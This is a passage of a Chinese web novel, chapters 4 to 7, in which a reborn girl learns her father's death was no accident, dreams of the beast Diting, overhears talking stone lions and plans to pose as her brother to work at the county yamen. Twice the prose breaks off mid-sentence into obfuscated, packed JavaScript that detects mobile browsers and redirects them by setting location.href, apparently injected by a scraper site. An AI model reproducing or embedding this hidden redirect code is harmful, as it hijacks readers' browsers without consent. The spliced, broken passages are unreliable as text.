她求了两世,好不容易才求来的,会抱着她小声哄,会握着手教她写字,会在下值后给她带甜甜的糖葫芦的父亲…… 她用力咬着嘴唇,直到舌头尝到了腥咸的气息,喉头哽着,像里面堵了一块烧红的铁碳。 一直以为父亲的殉职只是个意外?却原来竟是另有缘由吗? 她想爬出去,去质问外面那个人究竟是怎么回事,是谁害的父亲?为什么要害他? 她用力伸出手去,想掀开那帘子。 她以为拼尽了全力,手臂却依然和帘子隔了半尺远,半尺的距离就像是天堑。 供桌底下漆黑一片,她的一颗心像是坠进无底的深渊,绝望和疼痛交杂,发出噗通噗通的回响。 外面那人还在大声嚷嚷:“……自从你死了,我从没睡过一个好觉,你看我脸色,你看我脸色,大夫都说照这样下去我活不长。你都已经死了,人鬼殊途,就别出来害人了,求求你了。冤有头债有主,你找害你的人去,别再来找我了,别再来了……” 邢姝砚只觉悲凉。 长明灯? 干爹? 哈! 长明灯能换来爹爹的命吗?还是一声“干爹”能抵消这些年他们兄妹受过的苦? 世上还有比这更滑稽的事吗? 指甲用力抠进手心,直到里面裹满了黏腻的血腥气,才觉出一点痛来。 大口呼吸着,就着这点痛意,终于积聚起了一点力量,她双手撑着地,用力跪坐起来。 这一动,脑袋又呯的撞上了头顶上的桌案,桌案上长明灯扑的一跳,那人再次被吓到,直愣愣抬起头来。 直到长明灯再次跳起,他终于撑不住,大叫一声跑出殿去。 邢姝砚更加焦急,想要抓住他问问到底怎么回事,身下猛的用力,不提防力气没用对,身体打了个转儿,方向都乱了。 她也不怕,两手朝前摸索着,划了好几好圈,终于摸到了个借力的地方,用力抓住这里,腰身一挺,人就往前冲去。 然后,呯的一声,脑袋直直的撞上一个突起的东西。 这次磕碰的动静更大,帘子狠狠晃动了一下,借着漏进来的光线,邢姝砚终于看着,磕着自己的竟是一条腿。 不是桌子腿,而是谛听的一条腿,蜷曲着,麒麟足。 邢姝砚晕倒时还想着,原来谛听的腿真的是蜷缩着的,和自己的腿一样。 她做梦了,梦中五光十色,影影幢幢,像眼睛得了严重的散光,也像是整个人掉进了赛博朋克的光影世界。 正在发愣,腿上就被什么给轻轻踹了一下,转头一看,竟是一只半人高的巨大生物。 虎头、独角、犬耳、龙身、狮尾,那巨兽动了动脚,嫌弃的喷了口气,拿脚在邢姝砚腿上抹了一把。 “咦!真脏,把血蹭我脚上了知不知道?” 那嫌弃的口吻,要是在前世的孤儿院里,一定会被人打爆头! 邢姝砚却不敢动,因为她认出了眼前的巨兽,不是别的,正是谛听,地藏菩萨的坐骑。 不是泥胎,不是彩塑,是浑身发光威风凛凛的巨大神兽。 4. 第 4 章 梦境真实的令人发指,是一个巨大的超级玄幻的世界,嶙峋怪石、岩浆峭壁,有山巅飞舞的彩凤,还有在啃食骨头的饿狗。 邢姝砚被眼前这不可思议的一幕骇的半天说不出一句完整的话来,都忘了听到父亲殉职真相的震惊和难过。 “你你……我……” 谛听没理她,自顾自的卧在一片巨大的岩浆边,粗大的尾巴在翻滚的岩浆里扫了扫,然后一把提溜起来猛的一甩,滚烫腥红的岩浆被甩在地面上,嗤嗤的声响不绝,厚重的不知什么石头的地面被烫的坑坑洼洼,放眼过去,一片焦黑。 邢姝砚猛的退后两步,抱拳小心问:“请问,我怎么会到这里来?” 谛听眼皮都没撩她,不紧不慢的道:“把血蹭我一腿,这是你我之间的因果,是以会有此一遭。” 邢姝砚低头看了眼手里心抠出来的伤口,有点不好意思,小声问:“神兽大人,我要怎么回去?” 谛听抬起脑袋,两只铜铃大眼瞪着她,怒道:“因果不了,怎么回去?愚蠢的凡人,没事别瞎抹好吗?还钻桌子……真脏!” 谛听虽然凶巴巴的,但却没动过邢姝砚一根手指头,她心里慢慢放松了些,“请问,怎么了结因果?” 谛听朝她翻了个好大的白眼,慢悠悠的把脑袋趴下去,扔下两个字:“等着。” 邢姝砚不敢乱动,只能站在原地等,等的都快长成石头上的柱子了,才听谛听道:“好了。” 她一抬头,就见一颗圆溜溜的血红色的珠子朝自己砸了过来,忙往旁边一闪,不想那珠子中途转了个弯,硬是直糊到她脸上。 邢姝砚没防备,被砸了个满脸血红,那东西热的发烫,像拿热水泼到脸上似的,还没等惊叫出声,血红色的液体竟穿过皮肤纹理慢慢的钻了进去,发烫的感觉也随之消弭。 “啊!这……” “便宜你了。”谛听凶巴巴的道:“人血充满了喜怒忧惧爱憎欲,最是肮脏,非至阴至阳之火不能消弭,这滴血里又沾染了我身上的气息,便宜你了,望你好自珍惜。” 说完,脑袋轻轻一晃,那根立在额头上的长角划开空间裂隙,裂隙里传来一阵巨大的吸力。 邢姝砚无法抵抗,像根翻飞的羽毛般被巨力吸进裂隙,只留下一道高亢的尖叫。 谛听又翻了个白眼,抬爪捂了捂耳朵,“吵聋了都。” 随即脑袋又往下一趴,尾巴扫进岩浆,玩起“甩泥巴”的游戏来。 - 邢姝砚不知躺了多久,终于醒了过来,见周边黑乎乎,知道自己还在供桌底下,寻好了方向慢慢的爬了出来。 回头见供桌上一排长明灯,于是走过去,一盏一盏查看,查到最右侧的时候,终于找到了那盏写有“邢归鸿”名字的灯,上面有两句吉祥话,只可惜落款那里什么都没有,一片空白。 虽没找到想要的信息,邢姝砚也没有气馁,坚定了步伐,一步一步走出地藏殿。 外面的和尚正寻什么东西,一见到她,一脸的喜色,“找到了,找到了。” 邢姝砚捂着脖子揉了揉,“找到什么了?” 那和尚跑过来,喜道:“当然是找到施主了,那两位施主等不到您,以为您出事了,四处乱找,差点没把寺里给翻过来。” 邢姝砚这才想起和常三的约定,谢过他并问明常三的所在,慢慢的走了过去。 常三见到她的那一刻,像是得到了巨大的救赎,跑的差点摔倒,“你到哪儿去了,我以为你出事了,吓死我了。没事就好,没事就好!” 邢姝砚安慰他,“我真的没事,你看。” 不看还好,一细看,常三的眉头就拧成了一个疙瘩,只因她身上又是土又是灰,脑袋上肿的青紫发亮,手上还带着血迹,怎么看都不像没事的样子。 “寺里的和尚欺负你了?”常三急道。 邢姝砚摇头。 “那难道是帮着打扫地窖,头上撞了个疙瘩?”小六子也凑上来问。 邢姝砚赶紧打断他俩的臆想,“真的没事,这是我……” 说到这里,脑子里突兀的出现了一片空白。 她还记得在供桌下听到的关于父亲的消息,急着出来撞了头,还有就是醒过来之后的事情,其他的却怎么都想不起来。 晃晃脑袋,还是想不起来,也不勉强自己了,看看天色,已经不早了,三人准备下山。 正要走时,就见一小和尚急急的过来,恭敬的递上一个瓷瓶给邢姝砚,声音嫩嫩的道:“阿弥陀佛,这是监寺大师让送过来的,给施主用,活血生肌不留疤。” 平白搅的寺里一场风波,邢姝砚心中羞赧,有心不受,却又听他道:“施主拿着吧,不收钱的。” 邢姝砚啼笑皆非,不再推辞,好生把瓷瓶接了过来,再三谢过。 回到家后,她这幅形容差点没把丁秀兰吓死,就要拉着她换衣裳查看。 邢姝砚内心都是成年人了,如此亲近实在是接受无能,推拒再三,保证自己只有额头和手心两处小伤,才把人安抚下来。 院子太小,没什么秘密,丁秀兰刚罢休,邢书同也撑着病体过来了,好一番询问。 面对两人的轮番轰炸,邢姝砚不仅没有感觉到不耐烦,反而无比的窝心。 成福寺的药果真是好药,刚抹上去,就觉伤处一片清凉,竟不那么痛了。 丁秀兰不让她动弹,只让她好好歇着,自己去厨房作饭。 饭好后,她给一双儿女盛了两碗稠粥,轮到自己时,碗里的清汤几可照人。 邢姝砚闭了闭眼睛,压下心里的酸涩,对成福寺发生的事更为上心。 饭后,一阵阵的疲倦席卷上来,她觉得可能是蜷缩时间过长的后遗症,本能的想上床睡觉。 可是想到偷听到的关于父亲死亡的真相,哪里能够安稳睡下。 丁秀兰是邢归鸿的枕边人,按说应该知道更多,可邢姝砚心疼这个独自抚养着两个孩子的母样,不想她担惊受怕,于是去了东厢房。 东厢房里面隔成两间,外面布置成小书房,里面是邢书同的卧室。 邢书同还没休息,正窝在床上看书,一见妹妹进来,忙把书放下,“你怎么不敲门?” 邢姝砚以前是有敲门习惯的,只是最近记忆里有了点小“瑕疵”,早把这习惯给忽略了。 听到邢书同的话,伸手在已经推开的门扇上当当敲了两下,十分不走心。 邢书同无奈的摇头,披衣坐了起来,“大晚上找我,一定有事。” 看着她越发青紫发亮的鼓起来的脑门,“说不定还与 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因为在对方的叙述里,父亲是个勤劳肯干、踏实上进、爱护家小、友待邻里亲朋的好人。 没有一丁点瑕疵,也没有一丁点和别人的利益纠葛,人家就算想害他都找不到理由的那种。 邢书同见她发怔,开口道:“都说‘三个臭皮匠顶个诸葛亮’,我虽身弱,脑子还算清楚,你不妨说说你的疑惑,或许我能帮你扯出线头来。” 邢姝砚一秒坐正,看着这个歪在床上这几年从没出过门的哥哥。 “怎么,不信我?”邢书同捂着嘴咳嗽几声,指着外间的小书房,道:“我三岁就跟着父亲读书,日日不敢懈怠,到今已十多年了,外面的书我都读过,不说倒背如流,起码举一反三是没问题的。” 一个人背负着巨大的秘密是很沉重的,邢姝砚也想找个人商量商量,可眼前的邢书同并不是个很好的选择。 这个家太脆弱了,弱的经不起一点风波。 邢姝砚不敢想象他知道真相后的反应,是积极应对,还是被打击到病势再重一层? 她敛了思绪,对邢书同笑了笑,像往常一样,挑眉道:“能有什么事,不过是今儿去了成福寺,想给父亲做一场道场,苦于手头没银子,想着听听父亲之前的事,看他在我跟前和在你跟前有没有区别?” 这话七分真三分假,实是难分辨。 邢书同就没听出其中的不对来,伸手在她脑门上弹了一记,“能有什么区别?区别就是更疼你,总记得给你买你爱吃的东西,对我只是催着读书罢了。” 邢姝砚脑门上有包,被疼的嗷的跳了起来,刚想反击,就听外面丁秀兰道:“你们两个别闹了,都带着伤病呢,都早点睡。” 邢书同指着妹妹脑门上肿起来的包,笑道:“正好起中最中间,倒像菩萨坐骑似的。” “什么菩萨坐骑?惯会欺负我!”邢姝砚笑道。 从邢书同那里出来,回了自己住的西厢房,连油灯都懒的点,摸黑坐在床上,暗自思索。 找出父亲邢归鸿的死亡真相,唯一的办法就是先找到那个人,可那个人是谁呢? 邢姝砚敛眉,想起帘子被掀起那一刻露出的泥鞋窄袜,那可不是一般的鞋袜啊! 5. 第 5 章 清水县衙后面一片有不少院落,其中一户二进小院住的就是县丞李盛丰。 李盛丰四十多岁,瘦脸、长须,有些老相。眼睛也不大,笑起来几乎看不见。 他家中人口不丰,一妻两子。两个儿子都已娶妻生子,在老家读书。平日里照顾他的只有妻子刘氏、一个从家乡带来的老仆李七,还有县里配给他的一个门子老魏。 年前朝廷?考功,清水县令徐有德因昏聩无能,落了个“下”字考评,被朝廷谪去他县做了个县丞。 新县令宋琦虽已经在路上,却还得几天才到,这段时间县里冗杂事务全都压在他身上,日日难熬。 刘氏端着小托盘,在书房门上敲了敲,“相公,吃点东西吧。” 李盛丰捂着脸,嘶了一声,含糊道:“吃不下,把东西带回去吧。” 刘氏踌躇了一下,又道:“给你煮了软烂的面条,搭配了你最喜欢的咸菜豆腐卤,好歹用一些,不然一会儿怎么睡呢?” 李盛丰头疼上火,长了一嘴的烂疮,动动嘴就疼,喝汤药也不管用,虽然肚子饿的咕咕叫,却什么东西都不想往嘴里搁。 “现在衙门里没有主事的,你可不能先倒了,你是县丞,得把这摊子安安稳稳的交到新县令手里才好,到时候你爱吃不吃我就不管了。” 听到老妻生气了,李盛丰打开房门,无奈的道:“行行行,都听你的,就会拿大道理压人。” “什么压人不压人,我一个妇道人家可不懂,我只知道你饿着肚子就睡不着,你睡不着我就能睡着了?” 李盛丰接过刘氏手里的托盘,一边往正房里走一边道:“是为夫不是,连累贤妻了,还请原谅则个?” “就会油嘴滑舌。”刘氏啐了他一口。 看着李盛丰咀嚼的艰难,李氏不忍心,想办法转移他的注意力。 “衙门里不是都有章程吗?哪怕县令不在,你也不会支应不开,怎么会累成这个样子?” 李盛丰叹了口气,“徐县令要离开,他的人自然全都要走,衙门里便空出许多职缺来,趁着宋县令没来,大家都想使力把自己的人拉进来。” 刘氏道:“是人都有私心,争权夺利,中饱私囊,哪里有利益人就往哪里钻,这不鲜见。” “是啊。”李盛丰感慨,“只是这风气不能开啊,开了,便会平白生出许多事来,宋县令便难了” 刘氏白了他一眼,“你管人家难不难呢,你又不是人家的谁,把自己一摊子管好就得了,怪不得口舌生疮呢,我看是挡不住那些唇枪舌剑吧?依我看,就是自己作的!” “嘿,你这老婆子,一点大局都不顾!” 两人嚷嚷闹闹,到底把那碗软烂的面条给吃光了。 李盛丰长长的松了口气,找凉茶水含了一口,慢慢的往外走,漱口水还没喷出去,门子老魏就颠颠的过来了,站在二门处喊:“大人,刚才有人扔下一个小包袱,小人看了,里面是两锭银子,大人您看?” 他一边说着,一边把包袱恭恭敬敬的抬高给李盛丰看。 李盛丰快步走到二门处,见那两锭银子每锭都有小儿巴掌大,一锭二十五两,两锭五十两,明晃晃的坠在包袱皮里,晃的人眼晕。 他眼睛都直了,咕咚一声把漱口水咽了下去,急问:“怎么就收下了呢?” 老魏苦着脸,“那人扔下包袱就跑,小的……小的追不上啊!” 看着比自己年纪还大的老魏,李盛丰叹口气,“算了,先回去吧。” 老魏答应一声,赶紧撒腿往回跑。 刘氏收拾完厨房出来,见李盛丰站在那里发怔,“发什么呆呢,天上下钱了?” 走近了些,瞥见他手里两锭银子,忍不住抬头朝天上看,惊道:“天上真的下钱了?阿弥陀佛,老大媳妇生了个小姑娘,娇娇软软的,正愁不知道送什么呢,这下好了,有了这两锭银子,什么置办不来?” 李盛丰听的直瞪眼睛,“说什么呢你,这银子可不能动,等找着是谁送来的,还得把银子还回去。” 怕刘氏自作主张不听劝,再三叮嘱,“千万不能动啊!不能动不能动不能动!” 刘氏手指甲都没抬,懒懒的朝他翻了个白眼,“自从你当了这穷官,我就差没跟着讨饭了,哪怕这样,我又什么时候拖过你后腿,杞人忧天!只是逗逗你罢了,且看你嘴疼不疼?” 李盛丰眨眨眼,瞬间就回过味来,觉得嘴里火烧火燎的疼,忙捂紧腮帮子,拿眼睛去瞪自家老妻。 刘氏哼了一声,转身回屋去了。 - 邢姝砚睡的并不比李盛丰早,一直在合计着当下的情况该怎么做才是最好。 拖拖拉拉一直耗到二更时分,实在是困的不行了,才放弃了虐待自己,倒头睡去。 第二天早早醒来,吃过早饭,又去了县衙门口。 那人是公人,总该在县衙里出现的,自己虽没看到他的长相,但听过他说话,仔细辨别的话说不准能把人给找出来。 邢姝砚没敢靠近大门,仍旧站在宣化坊下边,注视着每一个经过县衙门口的人,那些身穿差役服饰的公人更是被她琢磨个仔细,偏这里面并没有在地藏殿听过的那个声音。 正暗自懊恼,耳边突然一声大喝,吓的她一个趔趄差点把头撞柱子上。 转头一看,见是捕班的李林李大叔。 李林一脸的络腮胡子,长的黑壮黑壮,说话声音像打雷,倒不像个捕快,更像一个匪头。 见邢姝砚被自己吓到,李林哈哈大笑,“邢家侄女,胆子还是这么小,得多练哪!” 邢姝砚无语,任谁被炸雷惊着,都会吓一跳吧! 吐槽完邢姝砚,李林又转着大眼珠子四处张望,“看什么呢?这么入神!这大门有什么好看的?几根棍几片瓦。还是看门口的石狮子?是挺丑的,也不知是哪个怂货雕的,怂唧唧的,难看死了!” 话音才落,邢姝砚耳朵里就传来两道细细的声音: 【你才怂,你全家都怂!】 【就是,长 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哑着嗓子重重的咳嗽一声,又道:“想你爹了,过来看看也行,只是要注意安全。这里虽然是县衙门口,也不是十足安全的。过些天新县令上任,也带你娘出来瞧瞧,只是别冲撞了。归鸿兄弟走了,你们也得把日子过下去,还得过好,知道吗?” “知道了,李叔。” 李林还想嘱咐些别的,就听旁边有人叫他:“老李,走了走了,再不走时间就不赶趟了,别磨磨蹭蹭的。” 李林扬声答应一声,要离开时又想起了什么,转身回来,小声对邢姝砚道:“只在大门口站站就行了,千万别往后面去,啊,听话!” 这嘱咐实在过于莫名其妙,邢姝砚一脸的疑惑,“后面?” “对,千万别去后面。”李林一边往外走一边再次嘱咐。 等人离开后,邢姝砚又听到了那两个细细的声音。 【熊熊走了唉,不好玩。】 【不好玩,睡觉睡觉。】 【不想睡,好无聊啊……】 邢姝砚循着声音找了又找,把周围转了一圈,终于找到了源头,竟是…… 县衙门口有一对石狮子,雄狮脚下踩着绣球,雌狮脚下滚趴着一只小石狮,两只大狮雕刻的威风凛凛,并不像李林说的“怂”或者“丑”。 终于等到一段没有行人的时候,邢姝砚小心的蹭过去,对看守大门的差役和善笑笑,又慢慢转过身子,转到他们视线看不见的地方,才小声对石狮子道:“刚才,是你们在说话吗?” 时间突然就变得凝固起来。 等了半天,什么都没有发生。 邢姝砚暗自嘲笑自己异想天开,正要离开,就听其中一道细细的声音小声弱弱的问:【你怎么知道我们在说话?】 另一道声音也附和:【就是啊,她怎么可能听到我们说话,她是不是诈我们的?】 【啊?诈我们?这人好奸诈!】 6. 第 6 章 邢姝砚费了许多口舌,才让两个石狮子相信她能听到它们的声音。 公狮子阿豆还是觉得不可思议,【这不符合常理,人怎么能听到我们说话,太可怕了。】 母狮子阿豆豆安抚它,【或许她成精了吧?很多年前我还见过蛇精呢,人精也没什么大不了。】 阿豆:【可她太年轻了,一点都不像修炼了五百年的样子。】 人精邢姝砚一脸的黑线,这两个活宝。 见守大门的差役开始往这边探头了,她不敢再多说什么,赶紧同两个话痨道别,临走的时候又想起李林大叔叮嘱的那番话来,于是问:“县衙后面怎么了,为什么不能去?” 她只是随口一问,并不指望两个不能动的石狮子给她答案。 谁知阿豆道:【我知道我知道,后面住的都是当官的,阿豆豆,你知道都是哪些当官的吗?】 阿豆豆:【县丞家、主簿家、典史家。】 阿豆:【对对对,就是他们家,这几天好多人都来送礼,要进县衙当差哩!送了好多吃的好多银子,还送了个母的要跟主簿配种哩!】 邢姝砚:“……” 赶紧打断两个小话痨继续下去的欲望,“进县衙当差是怎么回事?” 这件事情阿豆豆知道的比较完整,【县令下台了,他的人手都要带走,衙门就有了空缺。】 刚想开口再细问问,开守大门的差役已经开始呵斥了,“闲杂人等,速速离开!” 邢姝砚没法再耽搁,小跑着离开。 回到家后,见丁秀兰并不在家,只邢书同在。 这几天天气暖了,邢书同不用整天闷在屋子里,没风的时候也能打开窗户透透气。 邢姝砚隔着窗户见他正伏案写些什么,问:“娘出去了?” 邢书同正全神贯注的认真抄书,并没有听到妹妹的动静,被突如其来的一句话一吓,手都抖了一下。 赶紧把笔拿开,拍了拍胸口,仔细看了一眼写的东西,见并没有写坏,才瞪了妹妹一眼,“人吓人吓死人,下次好歹先弄出点动静来。” “谁让你写的那么投入?”邢姝砚反驳,“大夫都说了不许你耗费心神,你写的那么聚精会神明显就是不对,还怪起我来了?” 邢书同说不过她,只好转移话题:“娘出去了,说是找了一份工,得去试试。” 邢姝砚一听,眉毛都耷拉下来了,怏怏的推开东厢房的门,走到书桌边,“哥,你说我找一份什么样的活计好?洗衣裳又累又不赚钱还被克扣,绣工也不行,只会缝缝补补,帮厨的话好像也没男的有力气……” 低头懊恼道:“要不,赁去人家当丫鬟吧,好歹能贴补家用,省得娘去奔波了。” 拉拉杂杂说了半天,邢书同却什么话都没说。 父亲活着的时候,妹妹是娇养着的,整条杏花巷就数她被各家小姑娘羡慕,再看现在…… 邢书同长长的叹了口气,“女孩子松快的日子不多,家里有娘,也有我,你不要操那么多的心,操心的人老的快,我妹妹要一直漂漂亮亮的。” 邢姝砚前世一直期盼的话就这样被人轻轻的说了出来,没有郑重的场合,也没有特别饱满的情感,自自而然的说了出来。 眼睛十分没出息的润了,扭过头去擦掉眼角的泪水,再转回头时凶巴巴的道:“什么你呀我的,都是一家人,分那么清楚干嘛,我有手有脚还认字,又不是不能动……” 熊了邢书同一顿,要走时眼睛落在他抄了一半的纸上,“这是什么?《千字文》?你抄这个干嘛?” 之前没细看,一直以为他是在写写画画舒缓心情,谁知道是在抄书? 邢书同笑了一下,他很瘦,脸色蜡黄,笑起来的时候却像光一样明亮。 “复习一下,顺便贴补家用。” 谁家拿《千字文》复习的啊?自己又不是三岁小孩,这么好骗的吗? 邢姝砚没打算戳穿哥哥的谎话,只让他别累着自己。 回到自己屋后,一头扎到床上,只觉得心里乱糟糟的,烦的她直想打滚。 想做就做,真的滚了两遍后终于消停了。 “怎么办怎么办?” 又要找到父亲殉职的真相,又要想办法让家人过的好,还要找好大夫医好哥哥,一桩桩都是事啊! 这其中的当务之急,还是先让一家人填饱肚子,饿着肚子什么都做不成。 “要是有旱涝保收的活计就好了!” 上辈子见人家考公,端着国家给的铁饭碗,做好做孬也没见被扣工资,生病了也不会不管,简直羡慕死了。 上辈子没机会靠,这辈子也…… 脑子里突然灵光一闪,邢姝砚呯的蹦了起来,全身成了僵直状,乱成毛毡子的头发底下,一双眼睛绿的像狼。 其实,也不是不行,县衙现在不就缺人吗?要是自己能进去…… 这个念头刚出现在脑海,又被她摇了出去。 不行不行不行,她是个女子,能被官府雇佣充作公人的女子除了稳婆这个行当,再无其他。 且不说稳婆都是本地人,县衙应当不缺,便是真的有缺,这口手艺饭她也吃不上。 嘶了一口凉气,安抚住乱跳的心脏,继续往下思索。 邢书同抄完最后三篇文字,抬头揉了揉脖子,不经意往窗外一看,就见邢姝砚立在那里,目光灼灼的盯着自己,不知道看了有多久? 邢姝砚同哥哥对视了好一会儿才反应过来,尴尬的揉了揉鼻子。 “你今天好像有点奇怪啊!”邢书同道。 邢姝砚傻笑两声,“我有点事,想和你商量商量。” “哦?进来说话。” 邢姝砚进了小书房,把在县衙门口听到的事用春秋笔法叙述了一遍,略去了两个石狮子的存在,最后道:“我想以你的名义进县衙做事,你看行吗?” 邢书同张口结舌半天,断然拒绝:“不行,完全没有可能!” “为什么呀?”邢姝砚想不通,“县衙里有工钱,虽然累一些,却是旱涝保收,有什么消息知道的也早,还能威慑那些惦记咱家肥肉的人,有什么不行?我觉得挺好的。” 邢书同用力闭了闭眼,再睁开后,里面满满都是难过。 “你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这事,邢书同却比妹妹想的开,“傻丫头,此一时彼一时嘛!再说靠科举是为了讨生活,做帐房也是为了讨生活,区别不大。” 邢姝砚都快被他气笑了,可一时又想不出来解决这事的办法,只能朝他呲牙。 正闹着,大门突然被人用力拍响,接着有声音咋咋呼呼的道:“是这一家,就是这一家,快开门,快开门。” 邢姝砚愣了一下,紧跟着蹿了起来,风一般的刮出去。 先把门打开条小缝往外瞧,见外面两三个人抬着块门板,上面躺着丁秀兰,旁边还跟着个提着药箱的大夫。 门哗的一下展至全开,邢姝砚冲了出去。 “怎么了这是?我娘她怎么了?” 看着面如金纸的丁秀兰,邢姝砚没敢动她,只问跟来的人,“怎么回事,我娘是受伤了吗?” 一个领头的道:“唉!这真是无妄之灾!别说这个了,先把人抬进去再说。” “来来来,大家小心点啊,有门坎……” 众人吆喝着进了院子,东厢房里的邢书同早就出来了,就站在院子中间,摇摇欲坠。 邢姝砚一眼就发现了他的不对,强压着心慌招呼道:“哥,你去把正房的门帘子掀开,让娘进去。” 等人进了屋,众人让开距离,让跟来的大夫诊脉。 大夫诊完左手又诊右手,脸色一会儿比一会儿沉。 邢姝砚只觉得一颗心空洞洞的,灌满了冷风。 “哥!”泪眼朦胧的看向邢书同,希望找到一个安心的答案,“娘她会没事的,对不对?” 7. 第 7 章 丁秀兰找了好多天,才找到一个在绣楼打杂的活计。 说是打杂,其实就是打下手,裁剪布料、帮绣娘们理线、绣一些粗笨零碎的小玩意。 她今天过去为的就是试工,试工很顺利,东家让她明天就去上工。 临走的时候,二楼的管事的要嘱咐她些事,便叫住了她。 两个人,一个楼上一个楼下,隔着一扇窗户就这么说了起来。 正在这时,一阵风吹了过来,二楼支窗上的叉竿本就有些歪,管事的手又不经意拨弄了一下,就这么凑巧,喀啦一声被风吹落了下来,正砸在丁秀兰后脑勺上。 可怜丁秀兰没有防备,就这么被砸晕了过去。 还是旁边的好心人把人送到了医馆,医院的大夫又是常年给邢书同调理的,认得丁秀兰,这才招呼大家把人送了回来。 丁秀兰这次是真的悬,汤药针灸齐上,还是整整昏迷了一天一夜才捡回一条命。 大夫再三叮嘱,一定不能劳累,不然,不光是身体会垮掉,还有碍寿数。 多的可以当柴烧的药草一包包煎下去,每煎一包,邢姝砚的心就哆嗦一下,生怕大夫说一句没钱就别开药了。 觍着脸问大夫可不可以赊账,大夫看了看可以称得上是清贫的家,叹口气道:“有了再还吧。” 这一声天籁之语像是救赎,兄妹两个几乎都要喜极而泣了。 药算是有了着落,食物却还是没有。 邢家从前只买陈米来熬粥,如今是万万不敢了。 丁秀兰的身体只靠草药和陈米是绝对不行的,还有哥哥邢书同,因为劳累,精神明显比之前短缺很多。 屋漏偏逢连夜雨,古人诚不欺我。 邢姝砚还去那绣楼找过人,谁知绣楼矢口否认,直道邢姝砚是想讹诈。 那个闯了祸的管事已经找不着了,其他绣娘都默默的闭紧了嘴,什么都问不出来。 邢姝砚心里恨的不行,偏偏对方做的周全,她一个普通人拿不住对方的半点把柄。 出了绣楼,站在丁秀兰倒下的屋檐下面,抬头看那扇关的严严实实、半点缝隙都不露的窗户,邢姝砚眼睛黑沉沉的,把这笔帐记下了。 绣楼里面,胖的像个圆桶的东家赵仁一边呷着茶水,一边嘱咐新的管事:“让她们都把嘴闭严实了,要是说了什么不该说的,休怪我不讲情面。” “是,是。”新来的管事点头哈腰,“那些绣娘们胆子小,就靠着您吃饭呢,没了您,她们上哪儿赚这份钱去?您放心,我现在就去嘱咐她们,包她们是闭了嘴的葫芦,什么都倒不出来。” 赵仁挥挥手,放新管事离开,又慢慢的呷了口茶水,眯着眼睛骂道:“小样,还跟我斗,一个毛都没长齐的小丫头,还想吓唬我,要告到衙门,知道衙门是朝哪边开的吗?我呸!” 一口浓痰飞起,重重的落在地面上央,随即,一个丫鬟打扮的女孩子快步走了过来,头都没抬,默不作声的把浓痰擦走。 - 邢姝砚喂丁秀兰吃过东西,给她擦了身,又服侍她吃过药,见人沉沉睡去,这才捶了捶腰,回了西厢房。 点起一盏灯,想了想,又点了一盏灯。 两边的灯火交相辉映,把不大的室内照亮。 她坐在妆台前的凳子上,慢慢解开长发。 一刻钟后,装扮好了自己。 头发全部梳至头顶,挽了一个常见的男子发髻,下面穿着青色短褐,正是那天和常三去成福寺那套装束。 木炭描粗了眉毛,面粉遮住了耳洞,脸和脖颈涂了调好的膏汁,有些黄,还有点黑,再加上前世化妆手法的加持,活脱脱就是一个少年男子,同邢书同几乎一模一样,只是更健康,像是他身体养好后的样子。 顶着这样一张脸,慢慢走到东厢房门前,伸手敲门。 门一下子就开了,门里的邢书同看着门外的邢姝砚,有些吃惊,甚至还伸出手去探了探。 发现是真人而不是做梦后才收回了手,后退一步,让开了路。 亲手拨了拨油灯,让它燃的更亮些,这才强压着疯狂乱跳的心脏转回头去看自己的亲妹妹。 半晌,还是他亲口打破了沉寂。 “真的决定了?”他问。 “真的决定了。”她亦答。 十个字,一问一答,达成了某种不用说出口的协议。 邢书同突然笑了下,眼神有些软,感慨道:“真像是照镜子啊!” 邢姝砚也笑了,“以后你会长得更高、更壮,更顶天立地。” “借你吉言。”邢书同从旁边提了一个包裹出来,“这些都是我的衣服鞋袜,从今天起,它们就是你的了。” 邢姝砚抱着包裹,轻轻在上面摸了摸,再看向邢书同的时候,不知怎么的,竟突然有点瑟缩。 他们兄妹只有两个人,一个扮作男子,另一个必然就要扮成女子。 这对这个时候的男子来说,是一件几乎可以算作羞辱的事。 哪怕邢书同豁达,此刻的邢姝砚也有些不忍心了。 像是看出她心中所想,邢书同走近些,揉揉她脑袋,“不用多想,反正我也出不了门,身份于我而言算不得什么,反倒是你,一定要处处小心步步谨慎才是。” 邢姝砚用力点头,郑重看向对面的人,“我不在家的日子,你要好好吃饭,好好休息,好好把自己养壮,到时候我们就能换回来了。那时候,你就做一只自由翱翔的鹰,想在衙门当差就在衙门当差,想去科举就去科举,想做什么就做什么。” 邢姝砚打听清楚了,六房里缺书吏,她奔的就是这个。 书吏离职后可以恢复民籍,不算贱役,不影响邢书同将来科举。若实在不成,役满后还可通过考职?获得从九品或未入流衔,然后再?捐官入仕。? 邢姝砚细细收集消息,发现不够精确,最终又把主意打到了常三身上。 常三这两天很忙,邢姝砚找了他两趟才把人找着,听说要他帮着打探消息,二话不说就拍了胸脯。 常三他们虽然和其他“丐帮”有着各自的地界,却也不是绝不来往,许多消息流通的比市 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546166|204160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面上还要快、还要多,没用多少时间就把邢姝砚需要的收罗了一大筐,顺便附带许多不知真假的野闻。 “……消息就是这些了,你哥哥要是想走这条路子呢,不妨去找找县丞大人,这人最是正直,口碑又好,有他帮忙,一定顺利。” 邢姝砚挠挠头,心里有些乱。 父亲在世的时候,对李盛丰这个县丞也极为推崇,确实是个难得的好官。 可前世的经验又告诉她,正直往往就代表着无私,一个没有私心的人,真的会为自己伸出援手吗? 左思右想都找不出答案,又是为难,又是希冀。后来把心一横,打算先去探探,反正家里一个多余的铜板都没有,也省得送礼了。 李盛丰家的门头上挂着“县丞宅”三个大字,极为好找。 邢姝砚藏在僻静处,眼见半个时辰内来了三拨人,却没一个能敲开门的,不由得有些泄气。 人都见不着,何谈打探啊! 